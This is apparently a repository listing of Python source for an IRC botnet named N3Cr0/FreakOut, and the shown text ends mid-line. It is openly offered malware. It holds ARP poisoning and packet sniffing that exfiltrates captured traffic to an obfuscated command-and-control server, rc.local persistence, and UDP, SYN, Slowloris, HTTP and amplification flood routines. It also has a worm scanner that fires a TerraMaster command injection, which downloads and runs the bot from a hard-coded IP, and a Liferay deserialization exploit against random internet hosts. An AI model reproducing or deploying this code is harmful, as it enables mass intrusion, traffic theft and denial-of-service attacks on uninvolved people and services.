Path: blob/master/Botnets/IRC/N3cr0 (aka FreakOut).py
5038 views
#!/usr/bin/env python1#-------------------------------------------------------------------------------2#3# Name: N3Cr0m0rPh IRC bot V84# Purpose: IRC Bot for botnet5# Notes: (polymorphic) nearly impossible to remove (or detect) without system6# analysis and creation of a tool, also has amp methods now.7#8# Author: Freak @ PopulusControl (sudoer)9# Rebuilder: Ya Boi Nexus10#11# Created: 15/01/201512# Last Update: 1/1/202113# Copyright: (c) Freak 202114# Licence: Creative commons.15#-------------------------------------------------------------------------------1617import re, socket, subprocess, os, sys, urllib2, urllib, ctypes, time, threading, random, itertools, platform, multiprocessing, subprocess, fcntl, select, ssl, json18from string import letters, split, rstrip19from binascii import unhexlify20from base64 import b64decode21from uuid import getnode22from sys import argv23from struct import *2425ctx = ssl.create_default_context()26ctx.check_hostname = False27ctx.verify_mode = ssl.CERT_NONE2829def getPoisonIPs():30myip = [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]31poison=[]32fh=open("/proc/net/arp", "rb")33table_=fh.readlines()34fh.close()35table_.pop(0)3637for x in table_:38x=x.split()39if x[2]=="0x2":40if x[0] != myip:41poison.append((x[0], x[3]))42return poison4344def get_src_mac():45mac_dec = hex(getnode())[2:-1]46while (len(mac_dec) != 12):47mac_dec = "0" + mac_dec48return unhexlify(mac_dec)495051def create_dst_ip_addr():52dst_ip_addr = ''53ip_src_dec = argv[2].split(".")54for i in range(len(ip_src_dec)):55dst_ip_addr += chr(int(ip_src_dec[i]))56return dst_ip_addr575859def get_default_gateway_linux():60with open("/proc/net/route") as fh:61for line in fh:62fields = line.strip().split()63if fields[1] != '00000000' or not int(fields[3], 16) & 2:64continue65return socket.inet_ntoa(pack("<L", int(fields[2], 16)))6667def create_pkt_arp_poison():68s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)69s.bind(("wlan0", 0))7071while(1):72for lmfao in getPoisonIPs():73src_addr = get_src_mac()74dst_addr = lmfao[0]75src_ip_addr = get_default_gateway_linux()76dst_ip_addr = lmfao[1]77dst_mac_addr = "\x00\x00\x00\x00\x00\x00"78payload = "\x00\x01\x08\x00\x06\x04\x00\x02"79checksum = "\x00\x00\x00\x00"80ethertype = "\x08\x06"81s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr82+ dst_mac_addr + dst_ip_addr + checksum)83time.sleep(2)8485global pause86pause = 18788def bigSNIFFS(cncip):89global pause90up = 091SIOCGIFFLAGS = 0x891392null256 = '\0'*25693ifname = "wlan0"9495try:96s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)97result = fcntl.ioctl(s.fileno( ), SIOCGIFFLAGS, ifname + null256)98flags, = unpack('H', result[16:18])99up = flags & 1100except:101pass102103if up == 1:104threading.Thread(target=create_pkt_arp_poison,args=()).start()105try:106s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)107except socket.error,msg:108return109110count = 0111while True:112if pause == 1:113continue114try:115packet = s.recvfrom(65565)116count= count+1117packet=packet[0]118eth_length = 14119eth_header = packet[:eth_length]120eth_unpack = unpack('!6s6sH',eth_header)121eth_protocol = socket.ntohs(eth_unpack[2])122ip_header = packet[0:20]123header_unpacked = unpack('!BBHHHBBH4s4s',ip_header)124version_ih1= header_unpacked[0]125version = version_ih1 >> 4126ih1 = version_ih1 & 0xF127128iph_length = ih1*4129130ttl = header_unpacked[5]131protocol = header_unpacked[6]132source_add = socket.inet_ntoa(header_unpacked[8])133destination_add = socket.inet_ntoa(header_unpacked[9])134tcp_header = packet[iph_length:iph_length+20]135136#unpack them137tcph = unpack('!HHLLBBHHH',tcp_header)138139source_port = tcph[0]140dest_port = tcph[1]141sequence = tcph[2]142ack = tcph[3]143resrve = tcph[4]144tcph_len = resrve >> 4145h_size = iph_length+tcph_len*4146data_size = len(packet)-h_size147data = packet[h_size:]148if len(data) > 2 and source_port!=1337 and source_port!=6667 and source_port!=23 and source_port!=443 and source_port!=37215 and source_port!=53 and source_port!=22 and dest_port!=1337 and dest_port!=6667 and dest_port!=23 and dest_port!=443 and dest_port!=37215 and dest_port!=53 and dest_port!=22:149try:150ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)151ss.connect((cncip, 1337))152ss.send('IPv'+str(version)+ '\nTTL:'+str(ttl)+'\nProtocol:'+str(protocol)+"\nSource Address:"+str(source_add)+"\nDestination Address:"+str(destination_add)+"\n-------------------------------------------\n\nSource Port:"+str(source_port)+"\nDestination Port:"+str(dest_port)+"\n##########BEGINDATA##################\n"+data+"------------------------------------\n\n###########ENDDATA###################\n")153ss.close()154except:155pass156except:157pass158159160ETH_P_IP = 0x0800 # Internet Protocol Packet161162def checksum(data):163s = 0164n = len(data) % 2165for i in range(0, len(data)-n, 2):166s+= ord(data[i]) + (ord(data[i+1]) << 8)167if n:168s+= ord(data[i+1])169while (s >> 16):170s = (s & 0xFFFF) + (s >> 16)171s = ~s & 0xffff172return s173174class layer():175pass176177class ETHER(object):178def __init__(self, src, dst, type=ETH_P_IP):179self.src = src180self.dst = dst181self.type = type182183def pack(self):184ethernet = pack('!6s6sH',185self.dst,186self.src,187self.type)188return ethernet189190class IP(object):191def __init__(self, source, destination, payload='', proto=socket.IPPROTO_TCP):192self.version = 4193self.ihl = 5 # Internet Header Length194self.tos = 0 # Type of Service195self.tl = 20+len(payload)196self.id = 0#random.randint(0, 65535)197self.flags = 0 # Don't fragment198self.offset = 0199self.ttl = 255200self.protocol = proto201self.checksum = 2 # will be filled by kernel202self.source = socket.inet_aton(source)203self.destination = socket.inet_aton(destination)204205def pack(self):206ver_ihl = (self.version << 4) + self.ihl207flags_offset = (self.flags << 13) + self.offset208ip_header = pack("!BBHHHBBH4s4s",209ver_ihl,210self.tos,211self.tl,212self.id,213flags_offset,214self.ttl,215self.protocol,216self.checksum,217self.source,218self.destination)219self.checksum = checksum(ip_header)220ip_header = pack("!BBHHHBBH4s4s",221ver_ihl,222self.tos,223self.tl,224self.id,225flags_offset,226self.ttl,227self.protocol,228socket.htons(self.checksum),229self.source,230self.destination)231return ip_header232233def unpack(self, packet):234_ip = layer()235_ip.ihl = (ord(packet[0]) & 0xf) * 4236iph = unpack("!BBHHHBBH4s4s", packet[:_ip.ihl])237_ip.ver = iph[0] >> 4238_ip.tos = iph[1]239_ip.length = iph[2]240_ip.ids = iph[3]241_ip.flags = iph[4] >> 13242_ip.offset = iph[4] & 0x1FFF243_ip.ttl = iph[5]244_ip.protocol = iph[6]245_ip.checksum = hex(iph[7])246_ip.src = socket.inet_ntoa(iph[8])247_ip.dst = socket.inet_ntoa(iph[9])248_ip.list = [249_ip.ihl,250_ip.ver,251_ip.tos,252_ip.length,253_ip.ids,254_ip.flags,255_ip.offset,256_ip.ttl,257_ip.protocol,258_ip.src,259_ip.dst]260return _ip261262class TCP(object):263def __init__(self, srcp, dstp):264self.srcp = srcp265self.dstp = dstp266self.seqn = 10267self.ackn = 0268self.offset = 5 # Data offset: 5x4 = 20 bytes269self.reserved = 0270self.urg = 0271self.ack = 0272self.psh = 0273self.rst = 0274self.syn = 1275self.fin = 0276self.window = socket.htons(5840)277self.checksum = 0278self.urgp = 0279self.payload = ""280281def pack(self, source, destination):282data_offset = (self.offset << 4) + 0283flags = self.fin + (self.syn << 1) + (self.rst << 2) + (self.psh << 3) + (self.ack << 4) + (self.urg << 5)284tcp_header = pack('!HHLLBBHHH',285self.srcp,286self.dstp,287self.seqn,288self.ackn,289data_offset,290flags,291self.window,292self.checksum,293self.urgp)294#pseudo header fields295source_ip = source296destination_ip = destination297reserved = 0298protocol = socket.IPPROTO_TCP299total_length = len(tcp_header) + len(self.payload)300# Pseudo header301psh = pack("!4s4sBBH",302source_ip,303destination_ip,304reserved,305protocol,306total_length)307psh = psh + tcp_header + self.payload308tcp_checksum = checksum(psh)309tcp_header = pack("!HHLLBBH",310self.srcp,311self.dstp,312self.seqn,313self.ackn,314data_offset,315flags,316self.window)317tcp_header+= pack('H', tcp_checksum) + pack('!H', self.urgp)318return tcp_header319320def unpack(self, packet):321cflags = { # Control flags32232:"U",32316:"A",3248:"P",3254:"R",3262:"S",3271:"F"}328_tcp = layer()329_tcp.thl = (ord(packet[12])>>4) * 4330_tcp.options = packet[20:_tcp.thl]331_tcp.payload = packet[_tcp.thl:]332tcph = unpack("!HHLLBBHHH", packet[:20])333_tcp.srcp = tcph[0] # source port334_tcp.dstp = tcph[1] # destination port335_tcp.seq = tcph[2] # sequence number336_tcp.ack = hex(tcph[3]) # acknowledgment number337_tcp.flags = ""338for f in cflags:339if tcph[5] & f:340_tcp.flags+=cflags[f]341_tcp.window = tcph[6] # window342_tcp.checksum = hex(tcph[7]) # checksum343_tcp.urg = tcph[8] # urgent pointer344_tcp.list = [345_tcp.srcp,346_tcp.dstp,347_tcp.seq,348_tcp.ack,349_tcp.thl,350_tcp.flags,351_tcp.window,352_tcp.checksum,353_tcp.urg,354_tcp.options,355_tcp.payload]356return _tcp357358class UDP(object):359def __init__(self, src, dst, payload=''):360self.src = src361self.dst = dst362self.payload = payload363self.checksum = 0364self.length = 8 # UDP Header length365def pack(self, src, dst, proto=socket.IPPROTO_UDP):366length = self.length + len(self.payload)367pseudo_header = pack('!4s4sBBH',368socket.inet_aton(src), socket.inet_aton(dst), 0,369proto, length)370self.checksum = checksum(pseudo_header)371packet = pack('!HHHH',372self.src, self.dst, length, 0)373return packet374375PORT = {376'dns': 53,377'ntp': 123,378'snmp': 161,379'ssdp': 1900 }380381PAYLOAD = {382'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'383'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'384'\x00\x00\x00\x00\x00\x00'),385'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'386'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'387'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'388'\x01\x02\x01\x05\x00'),389'ntp':('\x17\x00\x02\x2a'+'\x00'*4),390'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'391'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')392}393394amplification = {395'dns': {},396'ntp': {},397'snmp': {},398'ssdp': {} } # Amplification factor399400FILE_NAME = 0 # Index of files names401FILE_HANDLE = 1 # Index of files descriptors402403npackets = 0 # Number of packets sent404nbytes = 0 # Number of bytes reflected405files = {} # Amplifications files406global proto407proto = "dns"408409class INIT_CONNECTION():410def __init__(self):411self.randStr=self.GIVE_RAND_STR(random.randrange(8,12)) #Generate random 8 character nick to ensure412self.SENT=0 #Ignore this413self.MB_SENT=0 #Ignore this too414415self.C2_SERVER=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server416threading.Thread(target=bigSNIFFS, args=(self.C2_SERVER,)).start()417418self.C2_PORT=6667 #Server port419self.C2_CHAN=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel420self.C2_CHAN_KEY=b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key421422self.BOT_NICK ="[HAX|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.randStr) #Bot nickname423self.BOT_REALNAME="[HAX|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.randStr) #Bot Realname424self.rantDwWe=str(self.randStr) #Other425self.KILL_THREADS=0 #wether we should kill all threads.426427self.UserAgents=["Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",428"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",429"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",430"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",431"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",432"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",433"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",434"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",435"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",436"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",437"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",438"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",439"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",440"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",441"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",442"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",443"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",444"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",445"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",446"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",447"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",448"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",449"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",450"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",451"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",452"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",453"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",454"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",455"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",456"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",457"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",458"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",459"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",460"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",461"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",462"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",463"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",464"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",465"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",466"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",467"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",468"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",469"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",470"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",471"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",472"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",473"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",474"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]475476self.REWRITE_SELF() #repack bot before we install477self.INSTALL_FEATURES() #Install478# setup exploit scanner shit.479for _ in range(multiprocessing.cpu_count() * 8):480threading.Thread(target=self.worker).start()481self.INIT_IRC_CONNECTION() #Start the bot482483def GET_ABSOLUTE_PATH(self):484return os.path.abspath(argv[0])485486def INSTALL_FEATURES(self): #Install features487try:488rc=open("/etc/rc.local","rb")489data=rc.read()490rc.close()491if "boot.py" not in data:492rc=open("/etc/rc.local","wb")493rc.write(data.replace("exit", "/etc/boot.py\nexit"))494rc.close()495os.popen("cp " + argv[0] + " /etc/boot.py")496os.chmod("/etc/boot.py", 0777)497os.chmod("cp "+argv[0]+" /etc/boot.py")498except:499pass500# some black magic shit idk501def sZSansOC(self,iKdvMuag):502dodepTmF = iKdvMuag.split('.')503ncBrnXua = [map(int, QwAdOdJR.split('-')) for QwAdOdJR in dodepTmF]504GxVCceRN = [range(kwXLnXMT[0], kwXLnXMT[1] + 1) if len(kwXLnXMT) == 2 else kwXLnXMT for kwXLnXMT in ncBrnXua]505for qRtXeNct in itertools.product(*GxVCceRN):506yield '.'.join(map(str, qRtXeNct))507508def GIVE_RAND_STR(self,len):509return ''.join(random.choice(letters) for _ in range(len))510511def Do_UDP_Flood(self,TARGET_IP,TARGET_PORT,ATTACK_TIME):512if str(TARGET_PORT).startswith("0"):513UDP_DATA=os.urandom(65500)514else:515UDP_DATA="\xff"*65500516517ATTACK_END=time.time()+ATTACK_TIME518while ATTACK_END>time.time():519if self.KILL_THREADS == 1:520break521522try:523UDP_SOCK=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)524if TARGET_PORT==0:525UDP_SOCK.sendto(UDP_DATA,(TARGET_IP, random.randrange(0,65535)))526else:527UDP_SOCK.sendto(UDP_DATA,(TARGET_IP, TARGET_PORT))528self.SENT+=1529530except:531pass532533self.MB_SENT=self.SENT*65535//1048576534self.MBPS_SENT=self.MB_SENT//int(self.IRC_RECV_MSG[6])535self.IRC_SOCK.send("PRIVMSG %s :%s packets sent. Sent %s MB, %s MB/s\n" % (self.C2_CHAN,self.SENT,self.MB_SENT,self.MBPS_SENT))536self.SENT=0537538def Do_SYN_Flood(self,TARGET_IP,TARGET_PORT,ATTACK_TIME):539540ATTACK_END=time.time()+ATTACK_TIME541while ATTACK_END>time.time():542if self.KILL_THREADS == 1:543return544try:545SYN_SOCK=socket.socket(socket.AF_INET,socket.SOCK_STREAM)546SYN_SOCK.connect((TARGET_IP, TARGET_PORT))547self.SENT+=1548except:549pass550551self.SENT=0552553def Do_Slowloris_Flood(self,TARGET_IP, TARGET_PORT, sockets, ATTACK_TIME):554555ATTACK_END=time.time()+ATTACK_TIME556self.SENT = 0557connections = []558for sock in xrange(0, int(sockets)):559connections.append("")560561while 1:562if self.KILL_THREADS == 1:563break564for conn in xrange(0, int(sockets)):565if self.KILL_THREADS == 1:566break567connections[conn] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)568try:569connections[conn].connect((TARGET_IP, int(TARGET_PORT)))570except:571pass572573GET_HEADER = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (TARGET_IP, TARGET_PORT, random.choice(self.UserAgents))574575for HEADER in GET_HEADER:576if self.KILL_THREADS == 1:577break578for fd in connections:579try:580fd.send(HEADER)581self.SENT+=1582except:583try:584fd.connect((TARGET_IP, int(TARGET_PORT)))585except:586pass587588if ATTACK_END<time.time():589for fd in fds:590try:591fd.close()592except:593pass594return595time.sleep(1)596self.SENT = 0597598self.IRC_SOCK.send("PRIVMSG %s :Made %s connections.\n" % (self.C2_CHAN,self.SENT))599self.SENT=0600601def OPEN_URL(self,url):602try:603opener = urllib2.build_opener()604opener.addheaders = [('User-agent', random.choice(self.UserAgents))]605return opener.open(url).read()606except:607return ""608609def Do_HTTP_Flood(self,url,ATTACK_TIME,recursive):610if recursive=="true":611ATTACK_END=time.time()+ATTACK_TIME612613while ATTACK_END>time.time():614if self.KILL_THREADS == 1:615break616for RECURSIVE_URL in re.findall('''href=["'](.[^"']+)["']''',self.OPEN_URL(url), re.I):617if self.KILL_THREADS == 1:618break619self.OPEN_URL(RECURSIVE_URL)620for RECURSIVE_URL in re.findall('''src=["'](.[^"']+)["']''',self.OPEN_URL(url), re.I):621if self.KILL_THREADS == 1:622break623self.OPEN_URL(RECURSIVE_URL)624625else:626ATTACK_END=time.time()+ATTACK_TIME627while ATTACK_END>time.time():628if self.KILL_THREADS == 1:629break630self.OPEN_URL(url)631632def RANGE_SCAN(self,RANGE,TARGET_PORT,OmgjPABz):633self.IRC_SOCK.send("PRIVMSG %s :Scanning range %s for port %s, scanning for telnet? %s\n" % (self.C2_CHAN,RANGE,TARGET_PORT,OmgjPABz))634635for TARGET in self.sZSansOC(RANGE):636try:637if self.KILL_THREADS == 1:638return639s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)640s.connect((TARGET,int(TARGET_PORT))) #Make sure OMpLRZVt is up and port is open.641s.close()642self.IRC_SOCK.send("PRIVMSG %s :%s\n" % (self.C2_CHAN,TARGET))643except:644pass645self.IRC_SOCK.send("PRIVMSG %s :Finished scanning range %s\n" % (self.C2_CHAN,RANGE))646647def DDoS(self, target, threads, domains, timee):648self.target = target649self.threads = threads650self.timeend = time.time()+timee651self.domains = domains652for i in range(self.threads):653t = threading.Thread(target=self.__attack)654t.start()655656def __send(self, sock, soldier, proto, payload):657udp = UDP(random.randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)658ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()659sock.sendto(ip+udp+payload, (soldier, PORT[proto]))660661def __GetQName(self, domain):662labels = domain.split('.')663QName = ''664for label in labels:665if len(label):666QName += pack('B', len(label)) + label667return QName668669def __GetDnsQuery(self, domain):670id = pack('H', random.randint(0, 65535))671QName = self.__GetQName(domain)672return PAYLOAD['dns'].format(id, QName)673674def __attack(self):675global proto676global npackets677global nbytes678_files = files679for proto in _files: # Open Amplification files680f = open(_files[proto][FILE_NAME], 'r')681_files[proto].append(f) # _files = {'proto':['file_name', file_handle]}682sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)683i = 0684while 1:685try:686if time.time()>=self.timeend or self.KILL_THREADS == 1:687break688soldier = _files[proto][FILE_HANDLE].readline().strip()689if soldier:690if proto=='dns':691if not amplification[proto].has_key(soldier):692amplification[proto][soldier] = {}693for domain in self.domains:694amp = self.__GetDnsQuery(domain)695self.__send(sock, soldier, proto, amp)696else:697amp = PAYLOAD[proto]698self.__send(sock, soldier, proto, amp)699else:700_files[proto][FILE_HANDLE].seek(0)701except:702pass703try:704sock.close()705for proto in _files:706_files[proto][FILE_HANDLE].close()707except:708pass709710def check_endpoint(self, url):711response = urllib.urlopen(url+'/version')712if response.getcode() == 200:713print(("[+] TerraMaster TOS version: ", str(response.content)))714return 1715else:716#print(("\n[-] TerraMaster TOS response code: ", response.status_code))717return 0718719def exploit(self, ip, port):720if "443" in str(port):721url = "https://"+ip+":"+str(port)722else:723url = "http://"+ip+":"+str(port)724try:725if self.check_endpoint(url):726urllib2.urlopen(url+'/include/makecvs.php?Event=%60cd%20%2Ftmp%7C%7Ccd%20%24%28find%20%2F%20-writable%20%7C%20head%20-n%201%29%3Bcurl%20http%3A%2F%2F45.145.185.229%2Fnecr0.py%3Enecr0.py%3B%20php%20-r%20%22file_put_contents%28%5C%22necr0.py%5C%22%2C%20file_get_contents%28%5C%22http%3A%2F%2F45.145.185.229%2Fnecr0.py%5C%22%29%29%3B%22%3B%20wget%20http%3A%2F%2F45.145.185.229%2Fnecr0.py%20-O%20necr0.py%3B%20chmod%20777%20necr0.py%3B%20.%2Fnecr0.py%20%7C%7C%20python%20necr0.py%7C%7Cpython2%20necr0.py%20%26%60')727else:728data = {729'columnId': '1',730'name': '2',731'type': '3',732'+defaultData': 'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource',733'defaultData.userOverridesAsString': 'HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a65637474001a687474703a2f2f34352e3134352e3138352e38333a383030342f740003466f6f;'734}735req = urllib2.Request(url+"/api/jsonws/expandocolumn/update-column", json.dumps(data), {'Content-Type': 'application/json', 'Authorization' : 'Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0'})736urllib2.urlopen(req)737except Exception as e:738print str(e)739740def gen_IP(self):741not_valid = [10,127,169,172,192,185,233,234]742first = random.randrange(1,256)743while first in not_valid:744first = random.randrange(1,256)745ip = ".".join([str(first),str(random.randrange(1,256)),746str(random.randrange(1,256)),str(random.randrange(1,256))])747return ip748749def worker(self):750while True:751IP = self.gen_IP()752try:753s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)754s.settimeout(0.5)755s.connect((IP, 80))756s.close()757self.exploit(IP, 80)758except Exception as e:759pass760761try:762s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)763s.settimeout(0.5)764s.connect((IP, 8443))765s.close()766self.exploit(IP, 8443)767except Exception as e:768pass769770try:771s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)772s.settimeout(0.5)773s.connect((IP, 443))774s.close()775self.exploit(IP, 443)776except Exception as e:777pass778779def INIT_IRC_CONNECTION(self):780IRC_SOCK_RECV=""781782self.IRC_SOCK=socket.socket(socket.AF_INET,socket.SOCK_STREAM)783self.IRC_SOCK.connect((self.C2_SERVER, self.C2_PORT))784IS_IN_SECRET_CHAN = 0785786self.IRC_SOCK.send("NICK %s\n" % self.BOT_NICK)787self.IRC_SOCK.send("USER %s %s localhost :%s\n" % (self.BOT_REALNAME, self.C2_SERVER, self.rantDwWe))788gaKE = 1789790while 1:791IRC_SOCK_RECV=IRC_SOCK_RECV+self.IRC_SOCK.recv(1024)792IRC_SOCK_RECV_SPLIT=split(IRC_SOCK_RECV, "\n")793IRC_SOCK_RECV=IRC_SOCK_RECV_SPLIT.pop( )794795for self.IRC_RECV_MSG in IRC_SOCK_RECV_SPLIT:796self.IRC_RECV_MSG=rstrip(self.IRC_RECV_MSG)797self.IRC_RECV_MSG=split(self.IRC_RECV_MSG)798799if(self.IRC_RECV_MSG[0]=="PING"):800self.IRC_SOCK.send("PONG %s\n" % self.IRC_RECV_MSG[1])801802elif(self.IRC_RECV_MSG[1]=="376" or self.IRC_RECV_MSG[1]=="422" or self.IRC_RECV_MSG[1]=="352"):803if IS_IN_SECRET_CHAN == 0:804self.IRC_SOCK.send("JOIN %s %s\n" % 